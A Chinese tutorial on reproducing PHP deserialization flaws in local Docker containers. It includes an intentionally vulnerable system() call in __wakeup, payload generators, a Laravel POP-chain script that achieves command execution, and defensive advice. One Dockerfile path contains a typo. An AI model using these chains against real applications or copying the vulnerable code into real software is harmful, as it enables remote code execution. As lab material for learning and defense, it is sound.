首页>软件资讯>常见问题

常见问题

如何通过Docker复现PHP反序列化漏洞

发布时间:2025-06-05 13:57:13人气:7


1. 创建漏洞测试文件


在本地新建目录,创建 index.php 文件:


<?php

class VulnerableClass {

    public $name;

    function __wakeup() {

        // 反序列化时自动执行的危险操作

        system($this->name);

    }

}


// 从 GET 参数获取序列化数据

if (isset($_GET@['data'])) {

    $data = base64_decode($_GET@['data']);

    unserialize($data); // 触发反序列化漏洞

} else {

    highlight_file(__FILE__);

}

?>

2. 创建 Dockerfile


在同一目录下创建 Dockerfile:


FROM php:7.4-apache

COPY index.php /var/www/html/

RUN chmod 755 /var/www/html/index.php

说明:PHP 7.4 是反序列化漏洞的高发版本(如 __wakeup 魔术方法漏洞)。


3. 构建并运行容器


# 构建镜像

docker build -t php-deserialization .


# 运行容器(映射端口 8080)

docker run -d -p 8080:80 --name vuln-container php-deserialization

4. 生成恶意序列化 Payload


创建 generate_payload.php:


<?php

class VulnerableClass {

    public $name = "touch /tmp/hacked"; // 要执行的命令

}

echo base64_encode(serialize(new VulnerableClass()));

?>

生成 Payload:


php generate_payload.php

5. 触发漏洞


访问 URL(替换 [PAYLOAD] 为上一步生成的字符串):


http://localhost:8080/index.php?data=[PAYLOAD]

验证攻击是否成功:


# 进入容器检查命令执行结果

docker exec vuln-container ls /tmp

# 如果看到 "hacked" 文件,说明漏洞复现成功

常见漏洞场景说明

漏洞.png

调试技巧


查看序列化结构:


$data = serialize(new VulnerableClass());

var_dump($data); // 输出:O:16:"VulnerableClass":1:{s:4:"name";s:17:"touch /tmp/hacked";}

安全建议:


禁止反序列化用户输入


使用 json_decode() 替代 unserialize()


更新 PHP 版本(部分漏洞在 PHP 8.0+ 修复)


复现更复杂的 POP 链

一、环境搭建:Laravel + 漏洞组件


1. 创建Dockerfile


FROM php:7.4-apache


# 安装Laravel依赖

RUN apt update && apt install -y zip unzip git \

    && docker-php-ext-install pdo_mysql \

    && php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" \

    && php composer-setup.php --install-dir=/usr/local/bin --filename=composer \

    && rm composer-setup.php


# 部署Laravel 8.x(含已知反序列化漏洞的组件)

WORKDIR /var/www/html

RUN composer create-project --prefer-dist laravel/laravel laravel-app "8.*" \

    && chmod -R 777 laravel-app/storage lar-app/bootstrap/cache


# 启用Apache的Laravel配置

COPY 000-default.conf /etc/apache2/sites-available/

RUN a2enmod rewrite

2. 添加Apache配置 (000-default.conf)


<VirtualHost *:80>

    DocumentRoot /var/www/html/laravel-app/public

    <Directory /var/www/html/laravel-app/public>

        AllowOverride All

        Require all granted

    </Directory>

</VirtualHost>

3. 构建并运行容器


docker build -t laravel-pop . 

docker run -d -p 8080:80 --name laravel-vuln laravel-pop

二、构造POP链:利用Laravel的依赖注入与魔术方法


以Laravel 8的 PendingBroadcast 链为例(CVE-2021-3129 类似原理):


1. 漏洞代码示例(模拟漏洞点)


在 routes/web.php 添加反序列化入口:


Route::get('/unserialize', function (Illuminate\Http\Request $request) {

    if ($request->has('data')) {

        unserialize(base64_decode($request->input('data')));

    }

    return "POP Chain Test";

});

2. POP链构造脚本 (generate_payload.php)


<?php

namespace Illuminate\Broadcasting {

    class PendingBroadcast {

        protected $events;

        protected $event;

        public function __construct($events, $event) {

            $this->events = $events;

            $this->event = $event;

        }

    }

}


namespace Illuminate\Events {

    class Dispatcher {

        protected $listeners = [];

        public function __construct($listeners) {

            $this->listeners = $listeners;

        }

    }

}


namespace {

    $dispatcher = new Illuminate\Events\Dispatcher(["event" => [["callable" => "system"]]]);

    $event = new Illuminate\Broadcasting\PendingBroadcast($dispatcher, "touch /tmp/pwned");

    echo base64_encode(serialize($event));

}

?>

3. 生成Payload

php generate_payload.php


三、触发漏洞


访问URL(替换[PAYLOAD]):


http://localhost:8080/unserialize?data=[PAYLOAD]

验证攻击结果:


docker exec laravel-vuln ls /tmp

# 若存在 /tmp/pwned 文件,则POP链利用成功

四、关键技术与框架特性分析

关键技术与框架特性分析.png

五、防御建议


禁止反序列化用户输入

使用 json_decode() 替代 unserialize()。


使用白名单机制

仅允许反序列化预定义的类(通过 allowed_classes 参数):


unserialize($data, ['allowed_classes' => ['SafeClass']]);

更新框架与组件

及时修复已知漏洞(如Laravel需升级至≥8.40.0)。


静态代码分析

使用工具(如PHPStan)检测危险的反序列化操作。


六、扩展:其他框架的POP链特征


ThinkPHP

利用 __toString() 触发 toArray() 方法,进而调用可控对象的 __call()。


Symfony

通过 __destruct() 触发 ContainerAwareTrait 的 setContainer(),控制服务容器注入恶意对象。


Yii2

利用 __wakeup() 调用 Module::init(),通过事件监听器触发任意方法。



上一条:Docker+Nginx搭建小型CDN服务器

下一条:Cursor BrowserMCP入门